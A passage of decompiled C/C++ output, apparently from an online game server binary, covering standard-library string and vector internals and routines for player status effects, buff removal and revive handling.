= 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RemoveAllChargeBuff"); } //----- (00412890) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::erase(std::basic_string,std::allocator > *this, unsigned int _Off, unsigned int _Count) { std::basic_string,std::allocator > *v3; // esi@1 unsigned int v4; // edi@3 unsigned int v5; // eax@3 unsigned int v6; // ecx@6 int v7; // ebx@6 int v8; // edx@7 int v9; // ecx@10 unsigned int v10; // ecx@12 int v11; // eax@12 v3 = this; if ( this->_Mysize < _Off ) std::_String_base::_Xran(&this->baseclass_0.___u0.baseclass_0); v4 = _Count; v5 = this->_Mysize - _Off; if ( v5 < _Count ) v4 = this->_Mysize - _Off; if ( v4 ) { v6 = this->_Myres; v7 = (int)&v3->_Bx; if ( v6 < 0x10 ) v8 = (int)&v3->_Bx; else v8 = *(_DWORD *)v7; if ( v6 < 0x10 ) v9 = (int)&v3->_Bx; else v9 = *(_DWORD *)v7; memmove((char *)(_Off + v9), (char *)(v4 + _Off + v8), v5 - v4); v10 = v3->_Myres; v11 = v3->_Mysize - v4; v3->_Mysize = v11; if ( v10 >= 0x10 ) v7 = *(_DWORD *)v7; *(_BYTE *)(v7 + v11) = 0; } return v3; } //----- (00412910) -------------------------------------------------------- void __thiscall std::basic_string_std::allocator>::_Tidy(std::basic_string,std::allocator > *this, bool _Built, unsigned int _Newsize) { std::basic_string,std::allocator > *v3; // ebx@1 const void *v4; // eax@3 v3 = this; if ( _Built && this->_Myres >= 0x10 ) { v4 = *(const void **)&this->_Bx._Buf[0]; if ( _Newsize ) memcpy(&this->_Bx, v4, _Newsize); operator delete((void *)v4); } v3->_Mysize = _Newsize; v3->_Myres = 15; v3->_Bx._Buf[_Newsize] = 0; } //----- (00412970) -------------------------------------------------------- void __thiscall std::basic_string_std::allocator>::_Copy(std::basic_string,std::allocator > *this, unsigned int _Newsize, unsigned int _Oldlen) { unsigned int v3; // ebx@1 std::basic_string,std::allocator > *v4; // esi@1 unsigned int v5; // edi@3 unsigned int v6; // ecx@3 void *v7; // edx@6 unsigned int v8; // ecx@6 const void *v9; // esi@8 int v10; // eax@13 int v11; // [sp+0h] [bp-24h]@1 std::basic_string,std::allocator > *v12; // [sp+10h] [bp-14h]@1 int *v13; // [sp+14h] [bp-10h]@1 int v14; // [sp+20h] [bp-4h]@6 void *_Ptr; // [sp+2Ch] [bp+8h]@6 v3 = _Newsize | 0xF; v4 = this; v13 = &v11; v12 = this; if ( (_Newsize | 0xF) <= 0xFFFFFFFE ) { v5 = this->_Myres; v6 = this->_Myres >> 1; if ( v3 / 3 < v6 && v5 <= -2 - v6 ) v3 = v6 + v5; } else { v3 = _Newsize; } v14 = 0; v7 = operator new(v3 + 1); _Ptr = v7; v8 = _Oldlen; if ( _Oldlen ) { if ( v4->_Myres < 0x10 ) v9 = &v4->_Bx; else v9 = *(const void **)&v4->_Bx._Buf[0]; memcpy(v7, v9, _Oldlen); v4 = v12; v8 = _Oldlen; } if ( v4->_Myres >= 0x10 ) { operator delete(*(void **)&v4->_Bx._Buf[0]); v7 = _Ptr; v8 = _Oldlen; } v10 = (int)&v4->_Bx; v4->_Bx._Buf[0] = 0; *(_DWORD *)&v4->_Bx._Buf[0] = v7; v4->_Myres = v3; v4->_Mysize = v8; if ( v3 >= 0x10 ) v10 = (int)v7; *(_BYTE *)(v10 + v8) = 0; } //----- (00412A7B) -------------------------------------------------------- void __usercall _L166581(int a1) { int v1; // esi@1 v1 = *(_DWORD *)(a1 - 20); if ( *(_DWORD *)(v1 + 24) >= 0x10u ) operator delete(*(void **)(v1 + 4)); *(_DWORD *)(v1 + 24) = 15; *(_DWORD *)(v1 + 20) = 0; *(_BYTE *)(v1 + 4) = 0; _CxxThrowException(0, 0); } //----- (00412AB0) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__cdecl std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { AbnormalStateContainer::AbstateElementInObject *v5; // edx@1 AbnormalStateContainer::AbstateElementInObject *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) memcpy(result, v5, 0x6Cu); ++v5; } return result; } //----- (00412AE0) -------------------------------------------------------- void __thiscall AbnormalStateShelter::AbstateBuffer::ab_Recover(AbnormalStateShelter::AbstateBuffer *this, #593 *so) { AbnormalStateShelter::AbstateBuffer *v2; // esi@1 int v3; // ebx@1 unsigned int v4; // edi@1 AbnormalStateContainer::AbstateElementInObject *v5; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateShelter::AbstateBuffer::ab_Recover"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateShelter::AbstateBuffer::ab_Recover"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; v4 = 0; while ( 1 ) { v5 = v2->ab_List._Myfirst; if ( !v5 ) break; if ( v4 >= v2->ab_List._Mylast - v5 ) break; AbnormalStateContainer::AbstateElementInObject::aeo_Recover(&v2->ab_List._Myfirst[v3], so); ++v4; ++v3; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateShelter::AbstateBuffer::ab_Recover"); } //----- (00412BB0) -------------------------------------------------------- void __thiscall std::length_error::_length_error(std::length_error *this) { std::length_error *v1; // esi@1 v1 = this; this->baseclass_0.baseclass_0.vfptr = (exceptionVtbl *)&std::logic_error::_vftable_; if ( this->baseclass_0._Str._Myres >= 0x10 ) operator delete(*(void **)&this->baseclass_0._Str._Bx._Buf[0]); v1->baseclass_0._Str._Myres = 15; v1->baseclass_0._Str._Mysize = 0; v1->baseclass_0._Str._Bx._Buf[0] = 0; exception::_exception(&v1->baseclass_0.baseclass_0); } // 689BEC: using guessed type int (__thiscall *std__logic_error___vftable_)(void *p, char); //----- (00412C00) -------------------------------------------------------- void __thiscall AbnormalStateShelter::AbstateShelter::as_Remove(AbnormalStateShelter::AbstateShelter *this, unsigned int chrregnum) { unsigned int v2; // edi@1 int i; // ebx@1 AbnormalStateShelter::AbstateBuffer *v4; // esi@2 v2 = 0; for ( i = 0; ; ++i ) { v4 = this->as_Safe._Myfirst; if ( !v4 ) break; if ( v2 >= this->as_Safe._Mylast - v4 ) break; if ( v4[i].ab_Master == chrregnum ) v4[i].ab_Master = -1; ++v2; } } //----- (00412C50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_REPLYREVIVE_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 unsigned int v5; // eax@1 char v6; // al@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_REPLYREVIVE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SKILL_REPLYREVIVE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); AbnormalStateShelter::AbstateShelter::as_Remove(&g_AbstateShelter, v5); v6 = *((_BYTE *)v4 + 23353); if ( v6 >= 0 ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 18, 43, 5382); } else { *((_BYTE *)v4 + 23353) = v6 & 0x7F; ShineObjectClass::ShinePlayer::sp_ReviveNow(v4, 0x3E8u); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_REPLYREVIVE_CMD"); } //----- (00412D30) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, std::basic_string,std::allocator > *_Right, unsigned int _Roff, unsigned int _Count) { std::basic_string,std::allocator > *v4; // ebx@1 unsigned int v5; // ebp@3 std::basic_string,std::allocator > *result; // eax@6 unsigned int v7; // eax@9 bool v8; // cf@10 bool v9; // zf@10 char *v10; // edx@13 int v11; // eax@19 void *v12; // edi@20 v4 = this; if ( _Right->_Mysize < _Roff ) std::_String_base::_Xran(&this->baseclass_0.___u0.baseclass_0); v5 = _Right->_Mysize - _Roff; if ( _Count < v5 ) v5 = _Count; if ( this == _Right ) { std::basic_string_std::allocator>::erase(this, _Roff + v5, 0xFFFFFFFFu); std::basic_string_std::allocator>::erase(v4, 0, _Roff); return v4; } if ( v5 > 0xFFFFFFFE ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); v7 = this->_Myres; if ( v7 >= v5 ) { v8 = 0; v9 = v5 == 0; if ( !v5 ) { this->_Mysize = 0; if ( v7 < 0x10 ) { this->_Bx._Buf[0] = 0; result = this; } else { **(_BYTE **)&this->_Bx._Buf[0] = 0; result = this; } return result; } } else { std::basic_string_std::allocator>::_Copy(this, v5, this->_Mysize); v8 = 0; v9 = v5 == 0; } if ( !(v8 | v9) ) { if ( _Right->_Myres < 0x10 ) v10 = (char *)&_Right->_Bx; else v10 = *(char **)&_Right->_Bx._Buf[0]; v11 = (int)&v4->_Bx; if ( v4->_Myres < 0x10 ) v12 = &v4->_Bx; else v12 = *(void **)v11; memcpy(v12, &v10[_Roff], v5); v8 = v4->_Myres < 0x10; v4->_Mysize = v5; if ( !v8 ) v11 = *(_DWORD *)v11; *(_BYTE *)(v11 + v5) = 0; } return v4; } //----- (00412E20) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Num) { std::basic_string,std::allocator > *v3; // ebx@1 unsigned int v4; // edx@1 char *v5; // eax@2 char *v6; // eax@5 char *v7; // ecx@6 std::basic_string,std::allocator > *result; // eax@11 unsigned int v9; // eax@14 bool v10; // cf@15 bool v11; // zf@15 void *v12; // edi@18 v3 = this; v4 = this->_Myres; if ( v4 < 0x10 ) v5 = (char *)&this->_Bx; else v5 = *(char **)&this->_Bx._Buf[0]; if ( _Ptr < v5 || ((v6 = (char *)&this->_Bx, v4 < 0x10) ? (v7 = (char *)&this->_Bx) : (v7 = *(char **)v6), &v7[v3->_Mysize] <= _Ptr) ) { if ( _Num > 0xFFFFFFFE ) std::_String_base::_Xlen(&v3->baseclass_0.___u0.baseclass_0); v9 = v3->_Myres; if ( v9 >= _Num ) { v10 = 0; v11 = _Num == 0; if ( !_Num ) { v3->_Mysize = 0; if ( v9 < 0x10 ) { v3->_Bx._Buf[0] = 0; result = v3; } else { **(_BYTE **)&v3->_Bx._Buf[0] = 0; result = v3; } return result; } } else { std::basic_string_std::allocator>::_Copy(v3, _Num, v3->_Mysize); v10 = 0; v11 = _Num == 0; } if ( !(v10 | v11) ) { if ( v3->_Myres < 0x10 ) v12 = &v3->_Bx; else v12 = *(void **)&v3->_Bx._Buf[0]; memcpy(v12, _Ptr, _Num); v10 = v3->_Myres < 0x10; v3->_Mysize = _Num; if ( !v10 ) { *(_BYTE *)(*(_DWORD *)&v3->_Bx._Buf[0] + _Num) = 0; return v3; } v3->_Bx._Buf[_Num] = 0; } result = v3; } else { if ( v4 >= 0x10 ) v6 = *(char **)v6; result = std::basic_string_std::allocator>::assign(v3, v3, _Ptr - v6, _Num); } return result; } //----- (00412F10) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall std::vector>::_Ucopy(std::allocator *_Al, AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *__formal) { return std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( _First, _Last, __formal, _Al, (std::_Nonscalar_ptr_iterator_tag)__formal); } //----- (00412F30) -------------------------------------------------------- void __thiscall std::basic_string_std::allocator>::basic_string_std::allocator>(std::basic_string,std::allocator > *this, std::basic_string,std::allocator > *_Right) { this->_Mysize = 0; this->_Myres = 15; this->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(this, _Right, 0, 0xFFFFFFFFu); } //----- (00412F60) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, const char *_Ptr) { return std::basic_string_std::allocator>::assign(this, _Ptr, strlen(_Ptr)); } //----- (00412F90) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last) { AbnormalStateContainer::AbstateElementInObject *i; // esi@1 for ( i = _First; i != _Last; ++i ) AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(i); } //----- (00412FC0) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 AbnormalStateContainer::AbstateElementInObject *v2; // esi@1 AbnormalStateContainer::AbstateElementInObject *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(v2); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (00413010) -------------------------------------------------------- void __thiscall std::basic_string_std::allocator>::basic_string_std::allocator>(std::basic_string,std::allocator > *this, const char *_Ptr) { this->_Myres = 15; this->_Mysize = 0; this->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(this, _Ptr, strlen(_Ptr)); } //----- (00413050) -------------------------------------------------------- void __thiscall std::logic_error::logic_error(std::logic_error *this, std::basic_string,std::allocator > *_Message) { std::logic_error *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0); v2->baseclass_0.vfptr = (exceptionVtbl *)&std::logic_error::_vftable_; v2->_Str._Mysize = 0; v2->_Str._Myres = 15; v2->_Str._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&v2->_Str, _Message, 0, 0xFFFFFFFFu); } // 689BEC: using guessed type int (__thiscall *std__logic_error___vftable_)(void *p, char); //----- (004130B0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where) { std::vector > *v3; // ebp@1 AbnormalStateContainer::AbstateElementInObject *v4; // ebx@1 int v5; // eax@1 std::vector >::iterator v6; // edx@2 const void *v7; // esi@3 void *v8; // edi@3 AbnormalStateContainer::AbstateElementInObject *v9; // edi@4 AbnormalStateContainer::AbstateElementInObject *i; // esi@4 std::vector >::iterator *v11; // eax@6 v3 = this; v4 = this->_Mylast; v5 = *(_DWORD *)&_Where + 108; if ( (AbnormalStateContainer::AbstateElementInObject *)(*(_DWORD *)&_Where + 108) != v4 ) { v6 = _Where; do { v7 = (const void *)v5; v8 = (void *)v6; v5 += 108; *(_DWORD *)&v6 += 108; memcpy(v8, v7, 0x6Cu); } while ( (AbnormalStateContainer::AbstateElementInObject *)v5 != v4 ); } v9 = this->_Mylast; for ( i = v9 - 1; i != v9; ++i ) AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(i); --v3->_Mylast; v11 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v11; } //----- (00413110) -------------------------------------------------------- void __thiscall std::logic_error::logic_error(std::logic_error *this, std::logic_error *__that) { std::logic_error *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0, &__that->baseclass_0); v2->baseclass_0.vfptr = (exceptionVtbl *)&std::logic_error::_vftable_; v2->_Str._Myres = 15; v2->_Str._Mysize = 0; v2->_Str._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&v2->_Str, &__that->_Str, 0, 0xFFFFFFFFu); } // 689BEC: using guessed type int (__thiscall *std__logic_error___vftable_)(void *p, char); //----- (00413180) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (004131F0) -------------------------------------------------------- void __thiscall std::length_error::length_error(std::length_error *this, std::length_error *__that) { std::length_error *v2; // esi@1 v2 = this; std::logic_error::logic_error(&this->baseclass_0, &__that->baseclass_0); v2->baseclass_0.baseclass_0.vfptr = (exceptionVtbl *)&std::length_error::_vftable_; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00413210) -------------------------------------------------------- void __thiscall AbnormalStateShelter::AbstateBuffer::_AbstateBuffer(AbnormalStateShelter::AbstateBuffer *this) { std::vector>::_Tidy(&this->ab_List); } //----- (00413220) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > (unsigned int)&wholesaver.ws_savestore[363].esc_abstate.buffer[14623] ) std::vector>::_Xlen((std::vector > *)this); v4 = operator new(108 * _Capacity); v2->_Myend = (AbnormalStateContainer::AbstateElementInObject *)((char *)v4 + 108 * _Capacity); v2->_Myfirst = (AbnormalStateContainer::AbstateElementInObject *)v4; v2->_Mylast = (AbnormalStateContainer::AbstateElementInObject *)v4; result = 1; } else { result = 0; } return result; } //----- (00413270) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { AbnormalStateContainer::AbstateElementInObject *v2; // eax@1 std::vector > *v3; // esi@1 int v4; // edi@2 signed int v5; // edx@3 unsigned int v6; // edi@7 void *v7; // eax@7 AbnormalStateContainer::AbstateElementInObject *v8; // ecx@7 AbnormalStateContainer::AbstateElementInObject *v9; // ST00_4@7 int v10; // [sp+0h] [bp-20h]@1 std::vector > *v11; // [sp+Ch] [bp-14h]@1 int *v12; // [sp+10h] [bp-10h]@1 int v13; // [sp+1Ch] [bp-4h]@7 v2 = _Right->_Myfirst; v3 = this; v12 = &v10; v11 = this; if ( v2 ) { v5 = (signed int)((unsigned __int64)(1272582903i64 * (unsigned int)((char *)_Right->_Mylast - (char *)v2)) >> 32) >> 5; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( v4 ) { if ( v4 > (unsigned int)&wholesaver.ws_savestore[363].esc_abstate.buffer[14623] ) std::vector>::_Xlen((std::vector > *)this); v6 = 108 * v4; v7 = operator new(v6); v3->_Myfirst = (AbnormalStateContainer::AbstateElementInObject *)v7; v3->_Mylast = (AbnormalStateContainer::AbstateElementInObject *)v7; v3->_Myend = (AbnormalStateContainer::AbstateElementInObject *)((char *)v7 + v6); v8 = _Right->_Mylast; v9 = _Right->_Myfirst; v13 = 0; v3->_Mylast = std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( v9, v8, (AbnormalStateContainer::AbstateElementInObject *)v7, &v3->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (00413321) -------------------------------------------------------- void __usercall _L169148(int a1) { std::vector>::_Tidy(*(std::vector > **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (00413340) -------------------------------------------------------- void *__thiscall std::vector>::operator_(void *this, int __formal) { void *v2; // esi@1 int v3; // eax@2 signed int v4; // edx@3 int v5; // ecx@3 void *result; // eax@4 AbnormalStateContainer::AbstateElementInObject *v7; // ebx@5 int v8; // eax@6 AbnormalStateContainer::AbstateElementInObject *v9; // eax@9 int v10; // eax@9 int v11; // eax@13 AbnormalStateContainer::AbstateElementInObject *v12; // edi@16 unsigned int v13; // eax@19 v2 = this; if ( this == (void *)__formal ) return v2; v3 = *(_DWORD *)(__formal + 4); if ( !v3 || (v4 = (signed int)((unsigned __int64)(1272582903i64 * (*(_DWORD *)(__formal + 8) - v3)) >> 32) >> 5, (v5 = v4 + ((unsigned int)v4 >> 31)) == 0) ) { std::vector>::_Tidy((std::vector > *)v2); return v2; } v7 = (AbnormalStateContainer::AbstateElementInObject *)*((_DWORD *)v2 + 1); if ( v7 ) v8 = (*((_DWORD *)v2 + 2) - (signed int)v7) / 108; else v8 = 0; if ( v5 > (unsigned int)v8 ) { if ( v7 ) v11 = (*((_DWORD *)v2 + 3) - (signed int)v7) / 108; else v11 = 0; if ( v5 <= (unsigned int)v11 ) { v12 = (AbnormalStateContainer::AbstateElementInObject *)(*(_DWORD *)(__formal + 4) + 108 * std::vector>::size((std::vector > *)v2)); std::copy( *(AbnormalStateContainer::AbstateElementInObject **)(__formal + 4), v12, v7); *((_DWORD *)v2 + 2) = std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( v12, *(AbnormalStateContainer::AbstateElementInObject **)(__formal + 8), *((AbnormalStateContainer::AbstateElementInObject **)v2 + 2), (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)__formal); return v2; } if ( v7 ) { std::vector>::_Destroy( (std::vector > *)v2, v7, *((AbnormalStateContainer::AbstateElementInObject **)v2 + 2)); operator delete(*((void **)v2 + 1)); } v13 = std::vector>::size((std::vector > *)__formal); if ( std::vector>::_Buy( (std::vector > *)v2, v13) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (std::allocator *)v2, *(AbnormalStateContainer::AbstateElementInObject **)(__formal + 4), *(AbnormalStateContainer::AbstateElementInObject **)(__formal + 8), *((AbnormalStateContainer::AbstateElementInObject **)v2 + 1)); return v2; } v9 = std::copy( *(AbnormalStateContainer::AbstateElementInObject **)(__formal + 4), *(AbnormalStateContainer::AbstateElementInObject **)(__formal + 8), *((AbnormalStateContainer::AbstateElementInObject **)v2 + 1)); std::vector>::_Destroy( (std::vector > *)v2, v9, *((AbnormalStateContainer::AbstateElementInObject **)v2 + 2)); v10 = *(_DWORD *)(__formal + 4); if ( v10 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 108 * (*(_DWORD *)(__formal + 8) - v10) / 108; result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } //----- (004134C0) -------------------------------------------------------- AbnormalStateShelter::AbstateBuffer *__cdecl std::_Copy_backward_opt(AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last, AbnormalStateShelter::AbstateBuffer *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { AbnormalStateShelter::AbstateBuffer *v4; // esi@1 AbnormalStateShelter::AbstateBuffer *v5; // edi@2 unsigned int v6; // eax@3 AbnormalStateShelter::AbstateBuffer *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = v4[-1].ab_Master; --v4; --v5; v5->ab_Master = v6; std::vector>::operator_( &v5->ab_List, (int)&v4->ab_List); } while ( v4 != _First ); result = v5; } return result; } //----- (00413500) -------------------------------------------------------- void __cdecl std::fill(AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last, AbnormalStateShelter::AbstateBuffer *_Val) { AbnormalStateShelter::AbstateBuffer *i; // esi@1 for ( i = _First; i != _Last; ++i ) { i->ab_Master = _Val->ab_Master; std::vector>::operator_( &i->ab_List, (int)&_Val->ab_List); } } //----- (00413530) -------------------------------------------------------- AbnormalStateShelter::AbstateBuffer *__cdecl std::_Uninit_copy>(AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last, AbnormalStateShelter::AbstateBuffer *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { AbnormalStateShelter::AbstateBuffer *v5; // esi@1 AbnormalStateShelter::AbstateBuffer *v6; // edi@1 int v8; // [sp+0h] [bp-20h]@1 AbnormalStateShelter::AbstateBuffer *_Next; // [sp+Ch] [bp-14h]@1 int *v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) { v5->ab_Master = v6->ab_Master; std::vector>::vector>( &v5->ab_List, &v6->ab_List); } ++v5; LOBYTE(v11) = 0; ++v6; } return v5; } //----- (004135D0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(AbnormalStateShelter::AbstateBuffer *_First, unsigned int _Count, AbnormalStateShelter::AbstateBuffer *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { AbnormalStateShelter::AbstateBuffer *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp+0h] [bp-20h]@1 AbnormalStateShelter::AbstateBuffer *_Next; // [sp+Ch] [bp-14h]@1 int *v9; // [sp+10h] [bp-10h]@1 int v10; // [sp+1Ch] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) { v5->ab_Master = _Val->ab_Master; std::vector>::vector>( &v5->ab_List, &_Val->ab_List); } --v6; ++v5; LOBYTE(v10) = 0; } } //----- (00413670) -------------------------------------------------------- AbnormalStateShelter::AbstateBuffer *__thiscall std::vector>::_Ufill(std::vector > *this, AbnormalStateShelter::AbstateBuffer *_Ptr, unsigned int _Count, AbnormalStateShelter::AbstateBuffer *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (004136A0) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last) { AbnormalStateShelter::AbstateBuffer *i; // esi@1 for ( i = _First; i != _Last; ++i ) AbnormalStateShelter::AbstateBuffer::_AbstateBuffer(i); } //----- (004136D0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, AbnormalStateShelter::AbstateBuffer *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // ecx@1 AbnormalStateShelter::AbstateBuffer *v6; // ebx@1 unsigned int v7; // ecx@1 signed int v8; // edx@2 unsigned int v9; // edi@3 int v10; // eax@5 int v11; // eax@10 int v12; // ecx@14 int v13; // eax@17 void *v14; // eax@21 void *v15; // ebx@21 AbnormalStateShelter::AbstateBuffer *v16; // ST18_4@21 int v17; // eax@21 int v18; // edi@23 AbnormalStateShelter::AbstateBuffer *v19; // eax@23 AbnormalStateShelter::AbstateBuffer *v20; // ecx@26 std::vector >::iterator v21; // ebx@26 AbnormalStateShelter::AbstateBuffer *v22; // ecx@27 AbnormalStateShelter::AbstateBuffer *v23; // ST24_4@27 unsigned int v24; // edi@27 int v25; // [sp+0h] [bp-38h]@1 unsigned int _Tmp; // [sp+Ch] [bp-2Ch]@1 std::vector > thisa; // [sp+10h] [bp-28h]@1 void *_Newvec; // [sp+20h] [bp-18h]@21 std::vector > *v29; // [sp+24h] [bp-14h]@1 int *v30; // [sp+28h] [bp-10h]@1 int v31; // [sp+34h] [bp-4h]@1 AbnormalStateShelter::AbstateBuffer *_Wherea; // [sp+40h] [bp+8h]@28 AbnormalStateShelter::AbstateBuffer *_Ptr; // [sp+44h] [bp+Ch]@21 int _Vala; // [sp+48h] [bp+10h]@21 AbnormalStateShelter::AbstateBuffer *_Valb; // [sp+48h] [bp+10h]@26 v4 = this; v5 = _Val->ab_Master; v30 = &v25; _Tmp = v5; v29 = v4; std::vector>::vector>( &thisa, &_Val->ab_List); v6 = v4->_Myfirst; v7 = 0; v31 = 0; if ( v6 ) { v8 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v4->_Myend - (char *)v6)) >> 32) >> 3; v7 = v8 + ((unsigned int)v8 >> 31); } v9 = _Count; if ( _Count ) { if ( v6 ) v10 = v4->_Mylast - v6; else v10 = 0; if ( (unsigned int)(&ddt.ddt_Table[2021][1471].direct - v10) < _Count ) std::vector>::_Xlen(v4); if ( v6 ) v11 = v4->_Mylast - v6; else v11 = 0; if ( v7 >= _Count + v11 ) { v20 = v4->_Mylast; v21 = _Where; _Valb = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 20 >= _Count ) { _Wherea = &v20[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - 20 * _Count)); std::_Copy_backward_opt( *(AbnormalStateShelter::AbstateBuffer **)&v21, _Wherea, _Valb, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(AbnormalStateShelter::AbstateBuffer **)&v21, (AbnormalStateShelter::AbstateBuffer *)(*(_DWORD *)&v21 + 